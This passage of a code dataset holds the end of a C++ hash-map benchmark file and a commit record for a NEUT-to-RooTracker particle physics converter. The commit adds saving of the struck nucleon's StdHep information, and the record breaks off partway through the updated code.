i = 0; i != size; ++i) {\n        d[i] = i;\n    }\n\n    return d;\n}\n\ntemplate <typename Map, typename Generator>\nint lookup_test(Map& map, Generator& gen) {\n    int res = 0;\n    for (std::size_t i = 0; i < 100; i += 1) {\n        res += map[gen()];\n    }\n\n    return res;\n}\n\nconst int small_lookup_test_size = 10;\n\nNONIUS_BENCHMARK(\"small dict lookup\", [](nonius::chronometer meter) {\n    auto d = build_map<io::dict<int, int>>(small_lookup_test_size, inc_gen());\n\n    std::uniform_int_distribution<std::size_t> normal(0, d.size() - 1);\n    std::mt19937 engine;\n    auto gen = std::bind(std::ref(normal), std::ref(engine));\n\n    meter.measure([&, gen] { return lookup_test(d, gen); });\n})\n\nNONIUS_BENCHMARK(\"small umap lookup\", [](nonius::chronometer meter) {\n    auto d = build_map<std::unordered_map<int, int>>(small_lookup_test_size, inc_gen());\n\n    std::uniform_int_distribution<std::size_t> normal(0, d.size() - 1);\n    std::mt19937 engine;\n    auto gen = std::bind(std::ref(normal), std::ref(engine));\n\n    meter.measure([&, gen] { return lookup_test(d, gen); });\n})\n\n#ifdef WITH_GOOGLE_BENCH\nNONIUS_BENCHMARK(\"small google lookup\", [](nonius::chronometer meter) {\n    auto d =\n        build_map_google<google::dense_hash_map<int, int>>(small_lookup_test_size, inc_gen());\n\n    std::uniform_int_distribution<std::size_t> normal(0, d.size() - 1);\n    std::mt19937 engine;\n    auto gen = std::bind(std::ref(normal), std::ref(engine));\n\n    meter.measure([&, gen] { return lookup_test(d, gen); });\n})\n#endif\n\nconst int lookup_test_size = 1000000;\n\nNONIUS_BENCHMARK(\"dict lookup\", [](nonius::chronometer meter) {\n\n    std::uniform_int_distribution<std::size_t> normal(0, lookup_test_size - 1);\n    std::mt19937 engine;\n    auto gen = std::bind(std::ref(normal), std::ref(engine));\n    auto d = build_map<io::dict<int, int>>(lookup_test_size, gen);\n\n    meter.measure([&, gen] { return lookup_test(d, gen); });\n})\n\nNONIUS_BENCHMARK(\"umap lookup\", [](nonius::chronometer meter) {\n\n    std::uniform_int_distribution<std::size_t> normal(0, lookup_test_size - 1);\n    std::mt19937 engine;\n    auto gen = std::bind(std::ref(normal), std::ref(engine));\n    auto d = build_map<std::unordered_map<int, int>>(lookup_test_size, gen);\n\n    meter.measure([&, gen] { return lookup_test(d, gen); });\n})\n\n#ifdef WITH_GOOGLE_BENCH\nNONIUS_BENCHMARK(\"google lookup\", [](nonius::chronometer meter) {\n    std::uniform_int_distribution<std::size_t> normal(0, lookup_test_size - 1);\n    std::mt19937 engine;\n    auto gen = std::bind(std::ref(normal), std::ref(engine));\n    auto d =\n        build_map_google<google::dense_hash_map<int, int>>(lookup_test_size, gen);\n\n    meter.measure([&, gen] { return lookup_test(d, gen); });\n})\n#endif\n\nNONIUS_BENCHMARK(\"dict lookup with many misses\", [](nonius::chronometer meter) {\n    std::uniform_int_distribution<std::size_t> build_normal(0, lookup_test_size - 1);\n    std::mt19937 build_engine;\n    auto build_gen = std::bind(std::ref(build_normal), std::ref(build_engine));\n    auto d = build_map<io::dict<int, int>>(lookup_test_size, build_gen);\n\n    std::uniform_int_distribution<std::size_t> normal(0, 16 * lookup_test_size - 1);\n    std::mt19937 engine;\n    auto gen = std::bind(std::ref(normal), std::ref(engine));\n\n    meter.measure([&, gen] { return lookup_test(d, gen); });\n})\n\nNONIUS_BENCHMARK(\"umap lookup with many misses\", [](nonius::chronometer meter) {\n    std::uniform_int_distribution<std::size_t> build_normal(0, lookup_test_size - 1);\n    std::mt19937 build_engine;\n    auto build_gen = std::bind(std::ref(build_normal), std::ref(build_engine));\n    auto d = build_map<std::unordered_map<int, int>>(lookup_test_size, build_gen);\n\n    std::uniform_int_distribution<std::size_t> normal(0, 16 * lookup_test_size - 1);\n    std::mt19937 engine;\n    auto gen = std::bind(std::ref(normal), std::ref(engine));\n\n    meter.measure([&, gen] { return lookup_test(d, gen); });\n})\n\n#ifdef WITH_GOOGLE_BENCH\nNONIUS_BENCHMARK(\"google lookup with many misses\", [](nonius::chronometer meter) {\n    std::uniform_int_distribution<std::size_t> build_normal(0, lookup_test_size - 1);\n    std::mt19937 build_engine;\n    auto build_gen = std::bind(std::ref(build_normal), std::ref(build_engine));\n    auto d =\n        build_map_google<google::dense_hash_map<int, int>>(lookup_test_size, build_gen);\n\n    std::uniform_int_distribution<std::size_t> normal(0, 16 * d.size() - 1);\n    std::mt19937 engine;\n    auto gen = std::bind(std::ref(normal), std::ref(engine));\n\n    meter.measure([&, gen] { return lookup_test(d, gen); });\n})\n#endif\n\n\/\/ TODO(improve) - this hits us hard\nNONIUS_BENCHMARK(\"dict lookup with heavy clustering\", [](nonius::chronometer meter) {\n    auto d = build_map<io::dict<int, int>>(lookup_test_size, inc_gen());\n\n    std::uniform_int_distribution<std::size_t> normal(0, 16 * lookup_test_size - 1);\n    std::mt19937 engine;\n    auto gen = std::bind(std::ref(normal), std::ref(engine));\n\n    meter.measure([&, gen] { return lookup_test(d, gen); });\n})\n\nNONIUS_BENCHMARK(\"umap lookup with heavy clustering\", [](nonius::chronometer meter) {\n    auto d = build_map<std::unordered_map<int, int>>(lookup_test_size, inc_gen());\n\n    std::uniform_int_distribution<std::size_t> normal(0, 16 * lookup_test_size - 1);\n    std::mt19937 engine;\n    auto gen = std::bind(std::ref(normal), std::ref(engine));\n\n    meter.measure([&, gen] { return lookup_test(d, gen); });\n})\n\n#ifdef WITH_GOOGLE_BENCH\nNONIUS_BENCHMARK(\"google lookup with heavy clustering\", [](nonius::chronometer meter) {\n    auto d =\n        build_map_google<google::dense_hash_map<int, int>>(lookup_test_size, inc_gen());\n\n    std::uniform_int_distribution<std::size_t> normal(0, 16 * d.size() - 1);\n    std::mt19937 engine;\n    auto gen = std::bind(std::ref(normal), std::ref(engine));\n\n    meter.measure([&, gen] { return lookup_test(d, gen); });\n})\n#endif\n\nconst int build_test_size = 1000;\n\nNONIUS_BENCHMARK(\"dict build\", [] {\n    return build_map<io::dict<int, int>>(build_test_size, inc_gen());\n})\n\nNONIUS_BENCHMARK(\"umap build\", [] {\n    return build_map<std::unordered_map<int, int>>(build_test_size, inc_gen());\n})\n\n#ifdef WITH_GOOGLE_BENCH\nNONIUS_BENCHMARK(\"google build\", [] {\n    return build_map_google<google::dense_hash_map<int, int>>(build_test_size, inc_gen());\n})\n#endif\n\nNONIUS_BENCHMARK(\"dict build with reserve\", [] {\n    return build_map_with_reserve<io::dict<int, int>>(build_test_size);\n})\n\nNONIUS_BENCHMARK(\"umap build with reserve\", [] {\n    return build_map_with_reserve<std::unordered_map<int, int>>(\n        build_test_size);\n})\n\n#ifdef WITH_GOOGLE_BENCH\nNONIUS_BENCHMARK(\"google build with reserve\", [] {\n    return build_map_google<google::dense_hash_map<int, int>>(build_test_size, inc_gen());\n})\n#endif\n\ntemplate <typename Map>\nMap build_string_map(int size) {\n    Map d;\n\n    for (int i = 0; i != size; ++i) {\n        d[std::to_string(i) + std::to_string(i) + std::to_string(i) +\n          std::to_string(i) + std::to_string(i) + std::to_string(i) +\n          std::to_string(i)] = i;\n    }\n\n    return d;\n}\n\n#ifdef WITH_GOOGLE_BENCH\ntemplate <typename Map>\nMap build_string_map_google(int size) {\n    Map d;\n    d.set_empty_key(\"\");\n\n    for (int i = 0; i != size; ++i) {\n        d[std::to_string(i) + std::to_string(i) + std::to_string(i) +\n          std::to_string(i) + std::to_string(i) + std::to_string(i) +\n          std::to_string(i)] = i;\n    }\n\n    return d;\n}\n#endif\n\nNONIUS_BENCHMARK(\"dict build with string key\", [] {\n    return build_string_map<io::dict<std::string, int>>(build_test_size);\n})\n\nNONIUS_BENCHMARK(\"umap build with string key\", [] {\n    return build_string_map<std::unordered_map<std::string, int>>(\n        build_test_size);\n})\n\n#ifdef WITH_GOOGLE_BENCH\nNONIUS_BENCHMARK(\"google build with string key\", [] {\n    return build_string_map_google<google::dense_hash_map<std::string, int>>(\n        build_test_size);\n})\n#endif\n\ntemplate <typename Map, typename LookUpKeys>\nint string_lookup_test(Map& map, const LookUpKeys& keys) {\n    int res = 0;\n    for (auto&& k : keys) {\n        res += map[k];\n    }\n\n    return res;\n}\n\nconst int string_lookup_test_size = 1000;\n\nNONIUS_BENCHMARK(\"dict string lookup\", [](nonius::chronometer meter) {\n    auto d = build_string_map<io::dict<std::string, int>>(\n        string_lookup_test_size);\n    std::vector<std::string> keys{ \"1111111\", \"2222222\", \"3333333\",\n                                   \"4444444\", \"5555555\", \"6666666\",\n                                   \"7777777\", \"8888888\", \"9999999\" };\n\n    meter.measure([&] { return string_lookup_test(d, keys); });\n})\n\nNONIUS_BENCHMARK(\"umap string lookup\", [](nonius::chronometer meter) {\n    auto d = build_string_map<std::unordered_map<std::string, int>>(\n        string_lookup_test_size);\n    std::vector<std::string> keys{ \"1111111\", \"2222222\", \"3333333\",\n                                   \"4444444\", \"5555555\", \"6666666\",\n                                   \"7777777\", \"8888888\", \"9999999\" };\n\n    meter.measure([&] { return string_lookup_test(d, keys); });\n})\n\n#ifdef WITH_GOOGLE_BENCH\nNONIUS_BENCHMARK(\"google string lookup\", [](nonius::chronometer meter) {\n    auto d = build_string_map_google<google::dense_hash_map<std::string, int>>(\n        string_lookup_test_size);\n    std::vector<std::string> keys{ \"1111111\", \"2222222\", \"3333333\",\n                                   \"4444444\", \"5555555\", \"6666666\",\n                                   \"7777777\", \"8888888\", \"9999999\" };\n\n    meter.measure([&] { return string_lookup_test(d, keys); });\n})\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#include <sstream>\n#include <iostream>\n\n#include \"TChain.h\"\n#include \"TTree.h\"\n#include \"TFile.h\"\n\n#include \"neutvect.h\"\n#include \"neutvtx.h\"\n\n#include \"CLITools.hxx\"\n#include \"PureGenUtils.hxx\"\n\n#include \"PureNeutRooTracker.hxx\"\n\nnamespace {\n\nstd::ostream& operator<<(std::ostream& o, const TLorentzVector& tlv){\n  return o << \"[\" << tlv.X() << \", \" << tlv.Y() << \", \" << tlv.Z() << \", \"\n    << tlv.T() <<  \"]\";\n}\n\nstd::string outfname;\nstd::string inpfdescript;\nbool ObjectOutput = false;\nbool useSimpleTree = false;\nbool OutputInGev = false;\nbool SaveIsBound = false;\nint verbosity = 0;\n}\n\nint NeutToRooTracker(const char* InputFileDescriptor){\n\n\/\/Input stuff\n  TChain* NeutTree = new TChain(\"neuttree\");\n\n  int nFiles = NeutTree->Add(InputFileDescriptor);\n\n  if(!nFiles){\n    std::cout << \"\\\"\" << InputFileDescriptor << \"\\\" matched 0 input files.\"\n      << std::endl;\n    return 2;\n  }\n\n  NeutVect *vector = new NeutVect();\n  NeutTree->SetBranchAddress(\"vectorbranch\",&vector);\n  NeutVtx *vertex = new NeutVtx();\n  NeutTree->SetBranchAddress(\"vertexbranch\",&vertex);\n\n  long NEntries = NeutTree->GetEntries();\n  long FilledEntries = 0;\n\n  if(!NEntries){\n    std::cout << \"Failed to find any entries (\" << NEntries\n      << \").\" << std::endl;\n    return 4;\n  }\n  std::cout << \"Reading \" << nFiles << \" input files with \"\n    << NEntries << \" entries.\" << std::endl;\n\n\/\/Output stuff\n  TFile* outFile = new TFile(outfname.c_str(),\"CREATE\");\n\n  if(!outFile->IsOpen()){\n    std::cerr << \"[ERROR]: Couldn't open output file: \" << outfname\n    << std::endl;\n    return 8;\n  } else {\n    std::cout << \"Created output file: \" << outFile->GetName() << std::endl;\n  }\n\n  TTree* rooTrackerTree = new TTree(\"nRooTracker\",\"Pure NEUT RooTracker\");\n  NRooTrackerVtx* outRooTracker = new NRooTrackerVtx();\n  if(ObjectOutput){\n    rooTrackerTree->Branch(\"nRooTracker\", &outRooTracker);\n  } else {\n    outRooTracker->AddBranches(rooTrackerTree, useSimpleTree, SaveIsBound);\n  }\n\n  for(long entryNum = 0; entryNum < NEntries; ++entryNum){\n\n    if( entryNum && (!(entryNum%10000)) ){\n      std::cout << \"Read \" << entryNum << \" entries.\" << std::endl;\n    }\n\n    if(!entryNum){ \/\/ cout for my sanity\n      std::cout << \"Reading first entry... \" << std::flush;\n    }\n    NeutTree->GetEntry(entryNum);\n    if(!entryNum){ \/\/ cout for my sanity\n      std::cout << \"Read first entry!\" << std::endl;\n    }\n\n    \/\/**************************************************\n    \/\/Event Level\n    std::stringstream ss(\"\");\n    ss << vector->Mode;\n    (*outRooTracker->EvtCode) = ss.str();\n    outRooTracker->EvtNum = vector->EventNo;\n    outRooTracker->EvtXSec = vector->Totcrs;\n\n    outRooTracker->NEcrsx = vector->Crsx;\n    outRooTracker->NEcrsy = vector->Crsy;\n    outRooTracker->NEcrsz = vector->Crsz;\n    outRooTracker->NEcrsphi = vector->Crsphi;\n\n    (void)outRooTracker->EvtVtx[0];\n    (void)outRooTracker->EvtVtx[0];\n    (void)outRooTracker->EvtVtx[0];\n    (void)outRooTracker->EvtVtx[0];\n\n    \/\/**************************************************\n    \/\/StdHepN Particles\n\n    if(verbosity > 1){\n      std::cout << \"Vector #:\" << entryNum << std::endl;\n      std::cout << \"\\tNPrimary: \" << vector->Nprimary() << std::endl;\n      std::cout << \"\\tEvtCode: \" << (*outRooTracker->EvtCode) << std::endl;\n      std::cout << \"\\tEvtXSec: \" << outRooTracker->EvtXSec << std::endl;\n      std::cout << \"\\tNEcrsx: \" << outRooTracker->NEcrsx << std::endl;\n      std::cout << \"\\tNEcrsy: \" << outRooTracker->NEcrsy << std::endl;\n      std::cout << \"\\tNEcrsz: \" << outRooTracker->NEcrsz << std::endl;\n      std::cout << \"\\tNEcrsphi: \" << outRooTracker->NEcrsphi << std::endl;\n      std::cout << \"\\tNOutgoing Particles: \" << vector->Npart() << std::endl;\n      std::cout << std::endl;\n    }\n\n    \/\/Fill the particle info\n    outRooTracker->StdHepN = vector->Npart();\n    outRooTracker->IsBound = vector->Ibound;\n\n    for(int partNum = 0; partNum < vector->Npart(); ++partNum){\n      const NeutPart& part = (*vector->PartInfo(partNum));\n\n      if(partNum == 1){\n        \/\/ As in TNeutOutput, to emulate neutgeom\n        \/\/ StdHepX[1] is the target\n        outRooTracker->StdHepPdg[1] =\n          PGUtils::MakeNuclearPDG(vector->TargetZ, vector->TargetA);\n        outRooTracker->StdHepP4[1][kNStdHepIdxE] = vector->TargetA;\n        if(verbosity > 1){\n          std::cout << \"TARGET\"\n            << \"\\n\\tA: \" << vector->TargetA\n            << \"\\n\\tZ: \" << vector->TargetZ\n            << \"\\n\\tPDG: \" << outRooTracker->StdHepPdg[partNum]\n            << \"\\n\\tStatus: \" << outRooTracker->StdHepStatus[partNum]\n            << \"\\n\\tHEPP4: \" << PGUtils::PrintArray(\n              outRooTracker->StdHepP4[partNum])\n            << \"\\n\\tIsBoundTarget: \" << outRooTracker->IsBound\n            << std::endl;\n        }\n        continue;\n      }\n\n      outRooTracker->StdHepPdg[partNum] = part.fPID;\n\n      switch(part.fStatus){\n        case -1:{\n          outRooTracker->StdHepStatus[partNum] = 0;\n          break;\n        }\n        case 0:{\n          outRooTracker->StdHepStatus[partNum] = 1;\n          break;\n        }\n        case 2:{\n          outRooTracker->StdHepStatus[partNum] = 1;\n          break;\n        }\n        default:{\n          if(verbosity > 1){\n            std::cout << \"--Found other neutcode: \" << part.fStatus << std::endl;\n            outRooTracker->StdHepStatus[partNum] =\n              (part.fStatus==1)?-1:part.fStatus;\n          }\n        }\n      }\n\n      if(OutputInGev){\n        static constexpr float MeVToGeV = 1.0\/1000;\n        outRooTracker->StdHepP4[partNum][kNStdHepIdxPx] = part.fP.X()*MeVToGeV;\n        outRooTracker->StdHepP4[partNum][kNStdHepIdxPy] = part.fP.Y()*MeVToGeV;\n        outRooTracker->StdHepP4[partNum][kNStdHepIdxPz] = part.fP.Z()*MeVToGeV;\n        outRooTracker->StdHepP4[partNum][kNStdHepIdxE] = part.fP.E()*MeVToGeV;\n      } else {\n        outRooTracker->StdHepP4[partNum][kNStdHepIdxPx] = part.fP.X();\n        outRooTracker->StdHepP4[partNum][kNStdHepIdxPy] = part.fP.Y();\n        outRooTracker->StdHepP4[partNum][kNStdHepIdxPz] = part.fP.Z();\n        outRooTracker->StdHepP4[partNum][kNStdHepIdxE] = part.fP.E();\n      }\n\n      if(verbosity > 1){\n        std::cout << ((partNum>1)?\"Particle:\":\"Incoming Neutrino:\")\n          << \"\\n\\tStdHEPPDG: \" << outRooTracker->StdHepPdg[partNum]\n          << \"\\n\\tStdHEPStatus: \" << outRooTracker->StdHepStatus[partNum]\n          << \"\\n\\tStdHEPP4: \" << PGUtils::PrintArray(\n            outRooTracker->StdHepP4[partNum])\n          << std::endl;\n      }\n\n      \/\/Not implemented in NEUT\n      (void)outRooTracker->StdHepX4[partNum][kNStdHepIdxX];\n      (void)outRooTracker->StdHepX4[partNum][kNStdHepIdxY];\n      (void)outRooTracker->StdHepX4[partNum][kNStdHepIdxZ];\n      (void)outRooTracker->StdHepX4[partNum][kNStdHepIdxT];\n      (void)outRooTracker->StdHepPolz[partNum][kNStdHepIdxPx];\n      (void)outRooTracker->StdHepPolz[partNum][kNStdHepIdxPy];\n      (void)outRooTracker->StdHepPolz[partNum][kNStdHepIdxPz];\n      (void)outRooTracker->StdHepPolz[partNum][kNStdHepIdxE];\n    }\n\n    \/\/**************************************************\n    \/\/NEUT VCWork Particles\n    \/\/Not yet implemented.\n    outRooTracker->NEnvc = 1;\n    for(int i = 0; i < outRooTracker->NEnvc; ++i){\n      (void)outRooTracker->NEpvc[i];\n      (void)outRooTracker->NEiorgvc[i];\n      (void)outRooTracker->NEiflgvc[i];\n      (void)outRooTracker->NEicrnvc[i];\n    }\n\n    \/\/**************************************************\n    \/\/NEUT Pion FSI interaction history\n    \/\/Not yet implemented\n    outRooTracker->NEnvert = 1;\n\n    for(int i = 0; i < outRooTracker->NEnvert; ++i){\n      (void)outRooTracker->NEposvert[i];\n      (void)outRooTracker->NEiflgvert[i];\n    }\n\n    outRooTracker->NEnvcvert = 1;\n    for(int i = 0; i < outRooTracker->NEnvcvert; ++i){\n      (void)outRooTracker->NEdirvert[i];\n      (void)outRooTracker->NEabspvert[i];\n      (void)outRooTracker->NEabstpvert[i];\n      (void)outRooTracker->NEipvert[i];\n      (void)outRooTracker->NEiverti[i];\n      (void)outRooTracker->NEivertf[i];\n    }\n\n    \/\/**************************************************\n    \/\/NEUT Nucleon FSI interaction history\n    \/\/Not yet implemented\n    outRooTracker->NFnvert = 1;\n    (void)outRooTracker->NFiflag[0];\n    (void)outRooTracker->NFx[0];\n    (void)outRooTracker->NFy[0];\n    (void)outRooTracker->NFz[0];\n    (void)outRooTracker->NFpx[0];\n    (void)outRooTracker->NFpy[0];\n    (void)outRooTracker->NFpz[0];\n    (void)outRooTracker->NFe[0];\n    (void)outRooTracker->NFfirststep[0];\n\n    outRooTracker->NFnstep = 1;\n    (void)outRooTracker->NFecms2[0];\n\n    rooTrackerTree->Fill();\n    FilledEntries++;\n    if(verbosity > 1){\n      std::cout << \"*****************Filled*****************\\n\" << std::endl;\n    }\n    outRooTracker->Reset();\n  }\n  std::cout << \"Wrote \" << FilledEntries << \"events to disk.\" << std::endl;\n  rooTrackerTree->Write();\n  outFile->Close();\n  return 0;\n}\n\nnamespace {\n\nvoid SetOpts(){\n  CLIArgs::OptSpec.emplace_back(\"-h\",\"--help\", false,\n    [&] (std::string const &opt) -> bool {\n      CLIArgs::SayRunLike();\n      exit(0);\n    });\n\n  CLIArgs::OptSpec.emplace_back(\"-i\", \"--input-file\", true,\n    [&] (std::string const &opt) -> bool {\n      std::cout << \"\\tReading from file descriptor : \" << opt << std::endl;\n      inpfdescript = opt;\n      return true;\n    }, true,[](){},\"<TChain::Add descriptor>\");\n\n  CLIArgs::OptSpec.emplace_back(\"-o\", \"--output-file\", true,\n    [&] (std::string const &opt) -> bool {\n      std::cout << \"\\tWriting to File: \" << opt << std::endl;\n      outfname = opt;\n      return true;\n    }, false,\n    [&](){outfname = \"vector.ntrac.root\";},\n    \"<File Name>{default=vector.ntrac.root}\");\n\n  CLIArgs::OptSpec.emplace_back(\"-v\", \"--verbosity\", true,\n    [&] (std::string const &opt) -> bool {\n      int vbhold;\n      if(PGUtils::str2int(vbhold,opt.c_str()) == PGUtils::STRINT_SUCCESS){\n        std::cout << \"Verbosity: \" << vbhold << std::endl;\n        verbosity = vbhold;\n        return true;\n      }\n      return false;\n    }, false,\n    [&](){verbosity = 0;}, \"<0-4>{default=0}\");\n\n  CLIArgs::OptSpec.emplace_back(\"-s\", \"--simple-tree\", false,\n    [&] (std::string const &opt) -> bool {\n      std::cout << \"Using simple tree.\" << std::endl;\n      useSimpleTree = true;\n      return true;\n    }, false,\n    [&](){useSimpleTree = false;}, \"Only output StdHep.\");\n\n  CLIArgs::OptSpec.emplace_back(\"-G\", \"--GeV-mode\", false,\n    [&] (std::string const &opt) -> bool {\n      std::cout << \"Outputting in GeV.\" << std::endl;\n      OutputInGev = true;\n      return true;\n    }, false,\n    [&](){OutputInGev = false;}, \"Use GeV rather than MeV.\");\n\n  CLIArgs::OptSpec.emplace_back(\"-O\", \"--objectify-output\", false,\n    [&] (std::string const &opt) -> bool {\n      std::cout << \"Using simple tree.\" << std::endl;\n      ObjectOutput = true;\n      return true;\n    }, false,\n    [&](){ObjectOutput = false;}, \"Output object tree.\");\n\n  CLIArgs::OptSpec.emplace_back(\"-b\", \"--save-isbound\", false,\n    [&] (std::string const &opt) -> bool {\n      std::cout << \"Adding IsBound branch to output tree.\" << std::endl;\n      SaveIsBound = true;\n      return true;\n    }, false,\n    [&](){SaveIsBound = false;}, \"Output IsBound Branch\");\n}\n}\n\nint main(int argc, char const * argv[]){\n  SetOpts();\n\n  CLIArgs::AddArguments(argc,argv);\n  if(!CLIArgs::GetOpts()){\n    CLIArgs::SayRunLike();\n    return 1;\n  }\n\n  int rtncode = 0;\n  if((rtncode = NeutToRooTracker(inpfdescript.c_str()))){\n    CLIArgs::SayRunLike();\n  }\n  return rtncode;\n}\n<commit_msg>Neut2RooTracker now saves the struck nucleon StdHep info.<commit_after>#include <sstream>\n#include <iostream>\n\n#include \"TChain.h\"\n#include \"TTree.h\"\n#include \"TFile.h\"\n\n#include \"neutvect.h\"\n#include \"neutvtx.h\"\n\n#include \"CLITools.hxx\"\n#include \"PureGenUtils.hxx\"\n\n#include \"PureNeutRooTracker.hxx\"\n\nnamespace {\n\nstd::ostream& operator<<(std::ostream& o, const TLorentzVector& tlv){\n  return o << \"[\" << tlv.X() << \", \" << tlv.Y() << \", \" << tlv.Z() << \", \"\n    << tlv.T() <<  \"]\";\n}\n\nstd::string outfname;\nstd::string inpfdescript;\nbool ObjectOutput = false;\nbool useSimpleTree = false;\nbool OutputInGev = false;\nbool SaveIsBound = false;\nint verbosity = 0;\nlong MaxEntries = 0;\n}\n\nint NeutToRooTracker(const char* InputFileDescriptor){\n\n\/\/Input stuff\n  TChain* NeutTree = new TChain(\"neuttree\");\n\n  int nFiles = NeutTree->Add(InputFileDescriptor);\n\n  if(!nFiles){\n    std::cout << \"\\\"\" << InputFileDescriptor << \"\\\" matched 0 input files.\"\n      << std::endl;\n    return 2;\n  }\n\n  NeutVect *vector = new NeutVect();\n  NeutTree->SetBranchAddress(\"vectorbranch\",&vector);\n  NeutVtx *vertex = new NeutVtx();\n  NeutTree->SetBranchAddress(\"vertexbranch\",&vertex);\n\n  long NEntries = NeutTree->GetEntries();\n  long FilledEntries = 0;\n\n  if(!NEntries){\n    std::cout << \"Failed to find any entries (\" << NEntries\n      << \").\" << std::endl;\n    return 4;\n  }\n  std::cout << \"Reading \" << nFiles << \" input files with \"\n    << NEntries << \" entries.\" << std::endl;\n\n\/\/Output stuff\n  TFile* outFile = new TFile(outfname.c_str(),\"CREATE\");\n\n  if(!outFile->IsOpen()){\n    std::cerr << \"[ERROR]: Couldn't open output file: \" << outfname\n    << std::endl;\n    return 8;\n  } else {\n    std::cout << \"Created output file: \" << outFile->GetName() << std::endl;\n  }\n\n  TTree* rooTrackerTree = new TTree(\"nRooTracker\",\"Pure NEUT RooTracker\");\n  NRooTrackerVtx* outRooTracker = new NRooTrackerVtx();\n  if(ObjectOutput){\n    rooTrackerTree->Branch(\"nRooTracker\", &outRooTracker);\n  } else {\n    outRooTracker->AddBranches(rooTrackerTree, useSimpleTree, SaveIsBound);\n  }\n\n  long long doEntries = (MaxEntries==-1) ?\n    NEntries : (std::min(MaxEntries, NEntries));\n\n  for(long entryNum = 0; entryNum < doEntries; ++entryNum){\n\n    if( entryNum && (!(entryNum%10000)) ){\n      std::cout << \"Read \" << entryNum << \" entries.\" << std::endl;\n    }\n\n    if(!entryNum){ \/\/ cout for my sanity\n      std::cout << \"Reading first entry... \" << std::flush;\n    }\n    NeutTree->GetEntry(entryNum);\n    if(!entryNum){ \/\/ cout for my sanity\n      std::cout << \"Read first entry!\" << std::endl;\n    }\n\n    \/\/**************************************************\n    \/\/Event Level\n    std::stringstream ss(\"\");\n    ss << vector->Mode;\n    (*outRooTracker->EvtCode) = ss.str();\n    outRooTracker->EvtNum = vector->EventNo;\n    outRooTracker->EvtXSec = vector->Totcrs;\n\n    outRooTracker->NEcrsx = vector->Crsx;\n    outRooTracker->NEcrsy = vector->Crsy;\n    outRooTracker->NEcrsz = vector->Crsz;\n    outRooTracker->NEcrsphi = vector->Crsphi;\n\n    (void)outRooTracker->EvtVtx[0];\n    (void)outRooTracker->EvtVtx[0];\n    (void)outRooTracker->EvtVtx[0];\n    (void)outRooTracker->EvtVtx[0];\n\n    \/\/**************************************************\n    \/\/StdHepN Particles\n\n    if(verbosity>3){\n      std::cout << \"**\"\n\"******************************************************************************\"\n    << std::endl;\n    vector->Dump();\n      std::cout << \"**\"\n\"******************************************************************************\"\n    << std::endl;\n    }\n\n    if(verbosity > 1){\n      std::cout << \"Vector #:\" << entryNum << std::endl;\n      std::cout << \"\\tNPrimary: \" << vector->Npart() << std::endl;\n      std::cout << \"\\tNPrimary: \" << vector->Nprimary() << std::endl;\n      std::cout << \"\\tEvtCode: \" << (*outRooTracker->EvtCode) << std::endl;\n      std::cout << \"\\tEvtXSec: \" << outRooTracker->EvtXSec << std::endl;\n      std::cout << \"\\tNEcrsx: \" << outRooTracker->NEcrsx << std::endl;\n      std::cout << \"\\tNEcrsy: \" << outRooTracker->NEcrsy << std::endl;\n      std::cout << \"\\tNEcrsz: \" << outRooTracker->NEcrsz << std::endl;\n      std::cout << \"\\tNEcrsphi: \" << outRooTracker->NEcrsphi << std::endl;\n      std::cout << \"\\tNOutgoing Particles: \" << vector->Npart() << std::endl;\n      std::cout << std::endl;\n    }\n\n    \/\/Fill the particle info\n    outRooTracker->StdHepN = vector->Npart()+1;\/\/Need to include nuclear target.\n    outRooTracker->IsBound = vector->Ibound;\n\n    for(int partNum = 0, saveInd = 0; partNum < vector->Npart();\n      ++partNum, ++saveInd){\n      const NeutPart& part = (*vector->PartInfo(partNum));\n\n      if(partNum == 1){\n        \/\/ As in TNeutOutput, to emulate neutgeom\n        \/\/ StdHepX[1] is the target\n        outRooTracker->StdHepPdg[saveInd] =\n          PGUtils::MakeNuclearPDG(vector->TargetZ, vector->TargetA);\n        outRooTracker->StdHepP4[saveInd][kNStdHepIdxE] = vector->TargetA;\n        if(verbosity > 1){\n          std::cout << \"TARGET\"\n            << \"\\n\\tA: \" << vector->TargetA\n            << \"\\n\\tZ: \" << vector->TargetZ\n            << \"\\n\\tPDG: \" << outRooTracker->StdHepPdg[saveInd]\n            << \"\\n\\tStatus: \" << outRooTracker->StdHepStatus[saveInd]\n            << \"\\n\\tHEPP4: \" << PGUtils::PrintArray(\n              outRooTracker->StdHepP4[saveInd])\n            << \"\\n\\tIsBoundTarget: \" << outRooTracker->IsBound\n            << std::endl;\n        }\n\n        \/\/Now save the struck nucleon properties\n        ++saveInd;\n      }\n\n      outRooTracker->StdHepPdg[saveInd] = part.fPID;\n\n      switch(part.fStatus){\n        case -1:{\n          outRooTracker->StdHepStatus[saveInd] = 0;\n          break;\n        }\n        case 0:{\n          outRooTracker->StdHepStatus[saveInd] = 1;\n          break;\n        }\n        case 2:{\n          outRooTracker->StdHepStatus[saveInd] = 1;\n          break;\n        }\n        default:{\n          if(verbosity > 1){\n            std::cout << \"--Found other neutcode: \" << part.fStatus << std::endl;\n            outRooTracker->StdHepStatus[saveInd] =\n              (part.fStatus==1)?-1:part.fStatus;\n          }\n        }\n      }\n      if(partNum == 1 && part.fStatus == -1){\n        outRooTracker->StdHepStatus[saveInd] = 11; \/\/To sync with GENIE code for\n        \/\/Struck Nucleon.\n      }\n\n      if(OutputInGev){\n        static constexpr float MeVToGeV = 1.0\/1000;\n        outRooTracker->StdHepP4[saveInd][kNStdHepIdxPx] = part.fP.X()*MeVToGeV;\n        outRooTracker->StdHepP4[saveInd][kNStdHepIdxPy] = part.fP.Y()*MeVToGeV;\n        outRooTracker->StdHepP4[saveInd][kNStdHepIdxPz] = part.fP.Z()*MeVToGeV;\n        outRooTracker->StdHepP4[saveInd][kNStdHepIdxE] = part.fP.E()*MeVToGeV;\n      } else {\n        outRooTracker->StdHepP4[saveInd][kNStdHepIdxPx] = part.fP.X();\n        outRooTracker->StdHepP4[saveInd][kNStdHepIdxPy] = part.fP.Y();\n        outRooTracker->StdHepP4[saveInd][kNStdHepIdxPz] = part.fP.Z();\n        outRooTracker->StdHepP4[saveInd][kNStdHepIdxE] = part.fP.E();\n      }\n\n      if(verbosity > 1){\n        std::cout << ((saveInd>1)?\"Particle:\":\"Incoming Neutrino:\")\n          << \"\\n\\tStdHEPPDG: \" << outRooTracker->StdHepPdg[saveInd]\n          << \"\\n\\tStdHEPStatus: \" << outRooTracker->StdHepStatus[saveInd]\n          << \"\\n\\tStdHEPP4: \" << PGUtils::PrintArray(\n            outRooTracker->StdHepP4[saveInd])\n          << std::endl;\n      }\n\n 